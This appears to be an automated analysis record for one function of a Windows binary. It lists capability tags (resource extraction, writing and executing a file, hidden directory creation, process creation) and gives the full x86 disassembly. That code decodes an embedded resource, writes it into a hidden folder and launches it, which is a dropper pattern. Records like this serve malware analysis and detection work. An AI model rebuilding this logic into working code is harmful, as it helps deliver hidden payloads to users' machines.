Function at 0x40202f
Capabilities:
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b8
push esi
push edi
push 0x4071b8
push 0x84
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0
jne 0x402062
xor eax, eax
jmp 0x402453
mov eax, dword [ebp - 0x5b8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x402087
xor eax, eax
jmp 0x402453
mov ecx, dword [ebp - 0x5b8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [ebp - 0x368], eax
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
jne 0x4020b2
xor eax, eax
jmp 0x402453
mov eax, dword [ebp - 0x368]
push eax
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.DLL_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx + 1]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x22c], 0
jmp 0x402106
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x22c]
cmp edx, dword [ebp - 0x368]
jge 0x4021ab
mov eax, dword [ebp - 0x22c]
cdq
mov ecx, 3
idiv ecx
cmp edx, 2
jne 0x402144
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x22c]
mov al, byte [edx]
sub al, byte [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x22c]
mov byte [ecx], al
mov eax, dword [ebp - 0x22c]
cdq
mov ecx, 3
idiv ecx
cmp edx, 1
jne 0x402173
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x22c]
mov al, byte [edx]
sub al, byte [ebp - 0x224]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x22c]
mov byte [ecx], al
mov eax, dword [ebp - 0x22c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
jne 0x4021a6
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x22c]
mov cl, byte [eax]
sub cl, dl
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x22c]
mov byte [edx], cl
jmp 0x4020f7
mov byte [ebp - 0x364], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x363]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x220], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x21f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x23c], 0
xor eax, eax
mov dword [ebp - 0x23b], eax
mov dword [ebp - 0x237], eax
mov dword [ebp - 0x233], eax
mov word [ebp - 0x22f], ax
mov byte [ebp - 0x22d], al
push 5
lea ecx, [ebp - 0x23c]
push ecx
call fcn.00401afd
add esp, 8
lea edx, [ebp - 0x23c]
push edx
push 0x4071c0
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
call fcn.00401f4c
push 0
lea ecx, [ebp - 0x364]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x402275
lea edx, [ebp - 0x23c]
push edx
push 0x4071c8
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x364]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 2
lea edx, [ebp - 0x364]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x10
push 0
lea eax, [ebp - 0x23c]
push eax
call sub.MSVCRT.DLL_memset
add esp, 0xc
push 5
lea ecx, [ebp - 0x23c]
push ecx
call fcn.00401afd
add esp, 8
movsx edx, byte [ebp - 0x23c]
push edx
movsx eax, byte [ebp - 0x239]
push eax
movsx ecx, byte [ebp - 0x23b]
push ecx
lea edx, [ebp - 0x23c]
push edx
lea eax, [ebp - 0x364]
push eax
push 0x4071d0
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x1c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x3b4], eax
push 0
lea eax, [ebp - 0x3b0]
push eax
mov ecx, dword [ebp - 0x368]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
push 0
push 0
mov ecx, dword [ebp - 0x3b4]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea edx, [ebp - 0x3b0]
push edx
push 2
push 0x4071e0
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ecx, dword [ebp - 0x3b4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, 8
mov esi, 0x4071e4
lea edi, [ebp - 0x260]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp - 0x5b4], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x5b3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x11c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x11c]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x260]
push edx
push 0x407208
lea eax, [ebp - 0x5b4]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x3ac], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x3a8]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x3ac], 0x44
mov dword [ebp - 0x3a4], 0x40721c
mov word [ebp - 0x37c], 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x3ac]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x5b4]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret